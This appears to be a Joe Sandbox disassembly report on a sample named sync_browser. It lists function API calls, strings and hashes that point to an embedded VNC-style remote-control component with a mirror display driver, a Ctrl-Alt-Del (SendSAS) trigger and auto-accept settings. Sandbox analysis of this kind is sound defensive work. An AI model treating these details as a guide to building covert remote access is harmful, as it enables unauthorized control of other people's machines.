Instruction ID: d45545f6ff2ad8697ffb18476473a1988b51828ae7e1631d52836c2e6e98e351
Opcode Fuzzy Hash: 364b0ab4c0a733f657dae5b09393cd9c81dc3f4ffc649c11128cba260e889681
Instruction Fuzzy Hash: CCF1A631A08B4A85EB20EB24F8647A9B3A5FF44B64F840137D95D87B98DF3CE515C722

Function 00007FF7E50820E0 Relevance: 68.5, APIs: 33, Strings: 6, Instructions: 241sleeplibrarysynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E5081640: GetVersionExA.KERNEL32 ref: 00007FF7E5081671
Part of subcall function 00007FF7E5081640: GetModuleFileNameA.KERNEL32 ref: 00007FF7E50816B3
Part of subcall function 00007FF7E5081640: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5081767
Part of subcall function 00007FF7E5081640: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5081790
Part of subcall function 00007FF7E5081640: GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50817CE

OpenEventA.KERNEL32 ref: 00007FF7E5082137
SetEvent.KERNEL32 ref: 00007FF7E5082153
CloseHandle.KERNEL32 ref: 00007FF7E5082160
Sleep.KERNEL32 ref: 00007FF7E508216B
OpenEventA.KERNEL32 ref: 00007FF7E508217F
CreateEventA.KERNEL32 ref: 00007FF7E508219F
CreateEventA.KERNEL32 ref: 00007FF7E50821BA
Sleep.KERNEL32 ref: 00007FF7E50821CC
WaitForMultipleObjects.KERNEL32 ref: 00007FF7E5082211
SetEvent.KERNEL32 ref: 00007FF7E5082255
Sleep.KERNEL32 ref: 00007FF7E5082276
Sleep.KERNEL32 ref: 00007FF7E5082289
GetExitCodeProcess.KERNEL32 ref: 00007FF7E50822A5
Sleep.KERNEL32 ref: 00007FF7E50822BE
Sleep.KERNEL32 ref: 00007FF7E50822CD
WaitForSingleObject.KERNEL32 ref: 00007FF7E50822DF
CloseHandle.KERNEL32 ref: 00007FF7E50822EC
Sleep.KERNEL32 ref: 00007FF7E508230A
Sleep.KERNEL32 ref: 00007FF7E5082319
CloseHandle.KERNEL32 ref: 00007FF7E508232B
CloseHandle.KERNEL32 ref: 00007FF7E508233D
LoadLibraryA.KERNEL32 ref: 00007FF7E508235B
GetProcAddress.KERNEL32 ref: 00007FF7E508236E
GetModuleFileNameA.KERNEL32 ref: 00007FF7E5082392
GetDesktopWindow.USER32 ref: 00007FF7E508241F
ShellExecuteA.SHELL32 ref: 00007FF7E5082448
FreeLibrary.KERNEL32 ref: 00007FF7E508245A
SetEvent.KERNEL32 ref: 00007FF7E5082471
WaitForSingleObject.KERNEL32 ref: 00007FF7E5082492
CloseHandle.KERNEL32 ref: 00007FF7E50824A4
CloseHandle.KERNEL32 ref: 00007FF7E50824B6
CloseHandle.KERNEL32 ref: 00007FF7E50824C8
CloseHandle.KERNEL32 ref: 00007FF7E50824DA

Strings

sas.dll, xrefs: 00007FF7E5082354
open, xrefs: 00007FF7E5082431
Global\SessionEventUltra, xrefs: 00007FF7E5082116, 00007FF7E5082171, 00007FF7E5082191
SendSAS, xrefs: 00007FF7E5082361
cad.exe, xrefs: 00007FF7E5082414
Global\SessionEventUltraCad, xrefs: 00007FF7E50821A5

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseHandleSleep$Event$PrivateProfileWait$CreateFileLibraryModuleNameObjectOpenSingle$AddressCodeDesktopExecuteExitFreeLoadMultipleObjectsProcProcessShellStringVersionWindow
String ID: Global\SessionEventUltra$Global\SessionEventUltraCad$SendSAS$cad.exe$open$sas.dll
API String ID: 767217470-2348971971
Opcode ID: 7d4960000cb2e9cc34650905f6e7b06f80ef93b8f83e24dd9411a62a6d9a1cef
Instruction ID: 0bb3056cb3ca6e52b8abad5b0f4aabbe3c9dfee5ae8ebfbca1af60faf40313cc
Opcode Fuzzy Hash: 7d4960000cb2e9cc34650905f6e7b06f80ef93b8f83e24dd9411a62a6d9a1cef
Instruction Fuzzy Hash: 91C18F24A09B4B82EA64BB61B870779A3A4FF84F50F841137D95E87298DF3CA445C732

Function 00007FF7E509F980 Relevance: 65.1, APIs: 20, Strings: 17, Instructions: 347libraryloaderwindowCOMMON

Download Yara Rule

APIs

EnumDisplaySettingsA.USER32 ref: 00007FF7E509FA05
LoadLibraryA.KERNEL32 ref: 00007FF7E509FA1A
GetProcAddress.KERNEL32 ref: 00007FF7E509FA3E
FreeLibrary.KERNEL32 ref: 00007FF7E509FBB2
EnumWindows.USER32 ref: 00007FF7E509FBEF
GetDC.USER32 ref: 00007FF7E509FC4A
CreateCompatibleDC.GDI32 ref: 00007FF7E509FD6A
GetLastError.KERNEL32 ref: 00007FF7E509FD7C
GetDeviceCaps.GDI32 ref: 00007FF7E509FDC4
GetDeviceCaps.GDI32 ref: 00007FF7E509FDFE
CreateCompatibleBitmap.GDI32 ref: 00007FF7E509FE38
GetLastError.KERNEL32 ref: 00007FF7E509FE4A
GetDIBits.GDI32 ref: 00007FF7E509FED6

Strings

mv video hook driver2, xrefs: 00007FF7E509FAA8
vncdesktop.cpp : failed to DeleteDC hrootdc, xrefs: 00007FF7E509FAED
vncdesktop.cpp : Failed m_rootdc , xrefs: 00007FF7E509FC5C
vncdesktop.cpp : failed to create compatibleDC(%d), xrefs: 00007FF7E509FD82
USER32, xrefs: 00007FF7E509FA0B
vncdesktop.cpp : got bitmap format, xrefs: 00007FF7E509FF4B
vncdesktop.cpp : unable to get display format, xrefs: 00007FF7E509FEE0
vncdesktop.cpp : unable to get display colour info, xrefs: 00007FF7E509FF33
vncdesktop.cpp : failed to create memory bitmap(%d), xrefs: 00007FF7E509FE50
WinVNC, xrefs: 00007FF7E509FDCF, 00007FF7E509FE08
vncdesktop.cpp : bitmap dimensions are %d x %d, xrefs: 00007FF7E509FD4B
EnumDisplayDevicesA, xrefs: 00007FF7E509FA2C
vncdesktop.cpp : No driver used , xrefs: 00007FF7E509FBFE
vncDesktop : memory device doesn't support GetDIBitsWinVNC cannot be used with this graphics device driver, xrefs: 00007FF7E509FE0F
DISPLAY, xrefs: 00007FF7E509FB1E
vncdesktop.cpp : created memory bitmap, xrefs: 00007FF7E509FE72
vncDesktop : root device doesn't support BitBltWinVNC cannot be used with this graphic device driver, xrefs: 00007FF7E509FDD6

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CapsCompatibleCreateDeviceEnumErrorLastLibrary$AddressBitmapBitsDisplayFreeLoadProcSettingsWindows
String ID: DISPLAY$EnumDisplayDevicesA$USER32$WinVNC$mv video hook driver2$vncDesktop : memory device doesn't support GetDIBitsWinVNC cannot be used with this graphics device driver$vncDesktop : root device doesn't support BitBltWinVNC cannot be used with this graphic device driver$vncdesktop.cpp : Failed m_rootdc $vncdesktop.cpp : No driver used $vncdesktop.cpp : bitmap dimensions are %d x %d$vncdesktop.cpp : created memory bitmap$vncdesktop.cpp : failed to DeleteDC hrootdc$vncdesktop.cpp : failed to create compatibleDC(%d)$vncdesktop.cpp : failed to create memory bitmap(%d)$vncdesktop.cpp : got bitmap format$vncdesktop.cpp : unable to get display colour info$vncdesktop.cpp : unable to get display format
API String ID: 3851920378-1343955350
Opcode ID: 64e6ac3a7bdcde4c20c39546ebbbec1b22000b0516b3881d6d9525ff59da856e
Instruction ID: 5cdec093bfa4fd6c34afb0bad76ecf6405e66bafe4e1046631792b70416c300e
Opcode Fuzzy Hash: 64e6ac3a7bdcde4c20c39546ebbbec1b22000b0516b3881d6d9525ff59da856e
Instruction Fuzzy Hash: 71023D726086CA86E710AF28E4607A9B7A1FB85F48F845437DA4D9769CDF3CD405C732

Function 00007FF7E5088980 Relevance: 63.3, APIs: 24, Strings: 12, Instructions: 264registrythreadlibraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50889B4
GetProcAddress.KERNEL32 ref: 00007FF7E50889D8
EnumDisplaySettingsA.USER32 ref: 00007FF7E5088A24
wprintf.LIBCMT ref: 00007FF7E5088AA8
FreeLibrary.KERNEL32 ref: 00007FF7E5088AB0
wprintf.LIBCMT ref: 00007FF7E5088B21
RegCreateKeyA.ADVAPI32 ref: 00007FF7E5088BE3
RegCreateKeyA.ADVAPI32 ref: 00007FF7E5088C07
RegSetValueExA.ADVAPI32 ref: 00007FF7E5088C41
RegCloseKey.ADVAPI32 ref: 00007FF7E5088C54
RegCloseKey.ADVAPI32 ref: 00007FF7E5088C5F
RegCreateKeyA.ADVAPI32 ref: 00007FF7E5088C93
RegCreateKeyA.ADVAPI32 ref: 00007FF7E5088CB3
RegSetValueExA.ADVAPI32 ref: 00007FF7E5088CED
RegCloseKey.ADVAPI32 ref: 00007FF7E5088D00
RegCloseKey.ADVAPI32 ref: 00007FF7E5088D0B
GetCurrentThreadId.KERNEL32 ref: 00007FF7E5088D72
GetThreadDesktop.USER32 ref: 00007FF7E5088D7A
OpenInputDesktop.USER32 ref: 00007FF7E5088D92
SetThreadDesktop.USER32 ref: 00007FF7E5088DA3
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E5088DC0
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E5088DDA
SetThreadDesktop.USER32 ref: 00007FF7E5088DE8
CloseDesktop.USER32 ref: 00007FF7E5088DFA

Strings

DEVICE0, xrefs: 00007FF7E5088B60
USER32, xrefs: 00007FF7E50889A7
SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Services\mv2, xrefs: 00007FF7E5088BD0
No '%s' found., xrefs: 00007FF7E5088AA1
SYSTEM, xrefs: 00007FF7E5088C65
DevNum:%dName:%sString:%sID:%sKey:%s, xrefs: 00007FF7E5088B12
mv video hook driver2, xrefs: 00007FF7E5088A74, 00007FF7E5088A9A
Attach.ToDesktop, xrefs: 00007FF7E5088C1F, 00007FF7E5088CCB
SYSTEM\CurrentControlSet\Hardware Profiles\Current, xrefs: 00007FF7E5088C7D
EnumDisplayDevicesA, xrefs: 00007FF7E50889C6
mv2, xrefs: 00007FF7E5088D2C
\DEVICE, xrefs: 00007FF7E5088B32

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseDesktop$CreateThread$DisplaySettings$ChangeLibraryValuewprintf$AddressCurrentEnumFreeInputLoadOpenProc
String ID: Attach.ToDesktop$DEVICE0$DevNum:%dName:%sString:%sID:%sKey:%s$EnumDisplayDevicesA$No '%s' found.$SYSTEM$SYSTEM\CurrentControlSet\Hardware Profiles\Current$SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Services\mv2$USER32$\DEVICE$mv video hook driver2$mv2
API String ID: 4207610217-3713657650
Opcode ID: cd3cd2c9535241abd372aab497dfb4bd752fa0a5a9763d12b3f41f1bb9d769e3
Instruction ID: 2ef9de58085a295dc479e042ce3a5dffd26fea663b919621cbfeb2cf48811d98
Opcode Fuzzy Hash: cd3cd2c9535241abd372aab497dfb4bd752fa0a5a9763d12b3f41f1bb9d769e3
Instruction Fuzzy Hash: 44C1A661A18A4A85EB60EB24F8207B9A7A4FF84F84FC45437EA4D87698EF3CD105C711

Function 00007FF7E508A890 Relevance: 61.5, APIs: 28, Strings: 7, Instructions: 227threadwindowtimeCOMMON

Download Yara Rule

APIs

GetWindowLongPtrA.USER32 ref: 00007FF7E508A8C7
EndDialog.USER32 ref: 00007FF7E508A90F
GetForegroundWindow.USER32 ref: 00007FF7E508A91E
GetWindowThreadProcessId.USER32 ref: 00007FF7E508A929
GetCurrentProcessId.KERNEL32 ref: 00007FF7E508A931
FlashWindow.USER32 ref: 00007FF7E508A950
sprintf.LIBCMT ref: 00007FF7E508A97C
SetDlgItemTextA.USER32 ref: 00007FF7E508A991
SetWindowLongPtrA.USER32 ref: 00007FF7E508A9DA
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E508AA19
SetDlgItemTextA.USER32 ref: 00007FF7E508AA74
SetDlgItemTextA.USER32 ref: 00007FF7E508AA86
GetModuleFileNameA.KERNEL32 ref: 00007FF7E508AA9C
LoadImageA.USER32 ref: 00007FF7E508AB27
GetDlgItem.USER32 ref: 00007FF7E508AB3C
SendMessageA.USER32 ref: 00007FF7E508AB54
SetTimer.USER32 ref: 00007FF7E508AB6A
EndDialog.USER32 ref: 00007FF7E508AB88
sprintf.LIBCMT ref: 00007FF7E508ABB2
SetDlgItemTextA.USER32 ref: 00007FF7E508ABC7
GetForegroundWindow.USER32 ref: 00007FF7E508ABF1
GetWindowThreadProcessId.USER32 ref: 00007FF7E508ABFC
GetCurrentProcessId.KERNEL32 ref: 00007FF7E508AC04
SetActiveWindow.USER32 ref: 00007FF7E508AC11
SetForegroundWindow.USER32 ref: 00007FF7E508AC28
MessageBeep.USER32 ref: 00007FF7E508AC33
DeleteObject.GDI32 ref: 00007FF7E508AC42
EndDialog.USER32 ref: 00007FF7E508AC50

Strings

AutoReject: %u, xrefs: 00007FF7E508A975
\mylogo.bmp, xrefs: 00007FF7E508AAF6
admin, xrefs: 00007FF7E508AA03
AutoReject:%u, xrefs: 00007FF7E508ABAB
AutoAccept: %u, xrefs: 00007FF7E508A96C
accept_reject_mesg, xrefs: 00007FF7E508AA0A
AutoAccept:%u, xrefs: 00007FF7E508AB9A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Window$Item$ProcessText$DialogForeground$CurrentLongMessageThreadsprintf$ActiveBeepDeleteFileFlashImageLoadModuleNameObjectPrivateProfileSendStringTimer
String ID: AutoAccept: %u$AutoAccept:%u$AutoReject: %u$AutoReject:%u$\mylogo.bmp$accept_reject_mesg$admin
API String ID: 384463373-239428621
Opcode ID: 9150f81c6ab9d50a8e6c44e1eba6f8074f889bee52a31bd6a7df91507269a3b3
Instruction ID: 640d93e90d292fb30966bd4cd4ca1129627b7fc4be29a74c7fba35c41c28c98d
Opcode Fuzzy Hash: 9150f81c6ab9d50a8e6c44e1eba6f8074f889bee52a31bd6a7df91507269a3b3
Instruction Fuzzy Hash: A5B1CA31A0CA4A82E730AB24F4607B9A350FF84F60F945133D65E87A98EF3CE445C762

Function 00007FF7E5088E10 Relevance: 52.8, APIs: 20, Strings: 10, Instructions: 272registrythreadlibraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E5088E5C
GetProcAddress.KERNEL32 ref: 00007FF7E5088E78
EnumDisplaySettingsA.USER32 ref: 00007FF7E5088EB5
wprintf.LIBCMT ref: 00007FF7E5088F68
FreeLibrary.KERNEL32 ref: 00007FF7E5088F70
wprintf.LIBCMT ref: 00007FF7E5088FCF
RegCreateKeyA.ADVAPI32 ref: 00007FF7E5089096
RegCreateKeyA.ADVAPI32 ref: 00007FF7E50890BA
RegSetValueExA.ADVAPI32 ref: 00007FF7E50890F6
GetCurrentThreadId.KERNEL32 ref: 00007FF7E508918E
GetThreadDesktop.USER32 ref: 00007FF7E5089196
OpenInputDesktop.USER32 ref: 00007FF7E50891AE
SetThreadDesktop.USER32 ref: 00007FF7E50891BF
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E50891DC
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E50891FE
SetThreadDesktop.USER32 ref: 00007FF7E508920E
CloseDesktop.USER32 ref: 00007FF7E508921C
RegCloseKey.ADVAPI32 ref: 00007FF7E5089227
RegCloseKey.ADVAPI32 ref: 00007FF7E5089232
FreeLibrary.KERNEL32 ref: 00007FF7E508923B

Strings

DEVICE0, xrefs: 00007FF7E508900E
USER32, xrefs: 00007FF7E5088E3E
SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Services\mv2, xrefs: 00007FF7E5089080
No '%s' found., xrefs: 00007FF7E5088F61
DevNum:%dName:%sString:%sID:%sKey:%s, xrefs: 00007FF7E5088FC0
mv video hook driver2, xrefs: 00007FF7E5088F34, 00007FF7E5088F5A
Attach.ToDesktop, xrefs: 00007FF7E50890D7
EnumDisplayDevicesA, xrefs: 00007FF7E5088E6E
mv2, xrefs: 00007FF7E5089121
\DEVICE, xrefs: 00007FF7E5088FE0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseDisplayLibrarySettings$ChangeCreateFreewprintf$AddressCurrentEnumInputLoadOpenProcValue
String ID: Attach.ToDesktop$DEVICE0$DevNum:%dName:%sString:%sID:%sKey:%s$EnumDisplayDevicesA$No '%s' found.$SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Services\mv2$USER32$\DEVICE$mv video hook driver2$mv2
API String ID: 27940619-3388178877
Opcode ID: 0339ce360284387b53255601b05480dca21fa52ca98469070f8d84e277019744
Instruction ID: b7dca72405105037753669e02c83f859bcef7eddd9265e7a0807e1316539ad3a
Opcode Fuzzy Hash: 0339ce360284387b53255601b05480dca21fa52ca98469070f8d84e277019744
Instruction Fuzzy Hash: 0EC1E631A0868A95EB20EF35B4607B9B7A1FF44F44F944436EA4E8B659EF3CE504C711

Function 00007FF7E512A228 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328timeCOMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00007FF7E512A269
_errno.LIBCMT ref: 00007FF7E512A271
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512A27C
_errno.LIBCMT ref: 00007FF7E512A29F
__doserrno.LIBCMT ref: 00007FF7E512A2AB
_getdrive.LIBCMT ref: 00007FF7E512A2D9
FindFirstFileExA.KERNEL32 ref: 00007FF7E512A2F8
_errno.LIBCMT ref: 00007FF7E512A326
_errno.LIBCMT ref: 00007FF7E512A32E
_errno.LIBCMT ref: 00007FF7E512A353
_errno.LIBCMT ref: 00007FF7E512A35D
_errno.LIBCMT ref: 00007FF7E512A36B
GetDriveTypeA.KERNEL32 ref: 00007FF7E512A447
free.LIBCMT ref: 00007FF7E512A45E
free.LIBCMT ref: 00007FF7E512A4B0
_errno.LIBCMT ref: 00007FF7E512A4B5
__doserrno.LIBCMT ref: 00007FF7E512A4C1
_wsopen_s.LIBCMT ref: 00007FF7E512A4FA
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7E512A541
FileTimeToSystemTime.KERNEL32 ref: 00007FF7E512A559
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7E512A5BC
FileTimeToSystemTime.KERNEL32 ref: 00007FF7E512A5D4
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7E512A637
FileTimeToSystemTime.KERNEL32 ref: 00007FF7E512A64F
FindClose.KERNEL32 ref: 00007FF7E512A697
GetLastError.KERNEL32 ref: 00007FF7E512A6E4
FindClose.KERNEL32 ref: 00007FF7E512A6F4

Strings

./\, xrefs: 00007FF7E512A30E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Time$File$_errno$FindLocalSystem__doserrno$Closefree$DriveErrorFirstLastType_getdrive_invalid_parameter_noinfo_wsopen_s
String ID: ./\
API String ID: 385398445-3176372042
Opcode ID: 5df5ab07e8b10f5b0de6cac4ab10895aae674884ac327e352a221a4cbdc82de0
Instruction ID: 70dcea8ab5b55e8a33d7965dfe2ec2ecf751d7fa06c8147260b3be83d0e1c521
Opcode Fuzzy Hash: 5df5ab07e8b10f5b0de6cac4ab10895aae674884ac327e352a221a4cbdc82de0
Instruction Fuzzy Hash: DEE1982690C28AC6E760AF10B07437EF7A0FB45F40F944036E68D96689DF7DE854DB22

Function 00007FF7E5071DD0 Relevance: 45.3, APIs: 30, Instructions: 281clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF7E5071E04
EmptyClipboard.USER32 ref: 00007FF7E5071E1B
CloseClipboard.USER32 ref: 00007FF7E5071E25

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseEmptyOpen
String ID:
API String ID: 1427272684-0
Opcode ID: 71ad19a431d06b663c1a9cd73ece8f0cf1ab1915d908a295cc5594be5b48716c
Instruction ID: 4e70849872919aee896626a4cb56af0a462dc89a8537489b0eb6ff6263f6e749
Opcode Fuzzy Hash: 71ad19a431d06b663c1a9cd73ece8f0cf1ab1915d908a295cc5594be5b48716c
Instruction Fuzzy Hash: 1CC16221B0974A96EA20BF65E4643BDA3A1BF45F84F845036DE0E87795EF3CE404C762

Function 00007FF7E509E780 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 204libraryloadertimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

CreateRectRgn.GDI32 ref: 00007FF7E509E810
InitializeCriticalSection.KERNEL32 ref: 00007FF7E509E85C
InitializeCriticalSection.KERNEL32 ref: 00007FF7E509E886
CreateRectRgn.GDI32 ref: 00007FF7E509E8AA
timeGetTime.WINMM ref: 00007FF7E509E9B9
LoadLibraryA.KERNEL32 ref: 00007FF7E509E9F4
